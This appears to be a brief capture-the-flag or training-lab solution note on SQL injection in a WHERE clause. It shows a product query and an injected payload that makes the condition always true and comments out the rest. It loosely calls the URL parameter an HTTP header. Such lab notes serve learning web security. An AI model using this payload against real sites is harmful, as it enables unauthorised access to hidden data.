Vulnerability in WHERE clause allowing retrieval of hidden data

• To solve the following params :

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

• Use this in the HTTP Header for category:
  • ‘+OR+1=1—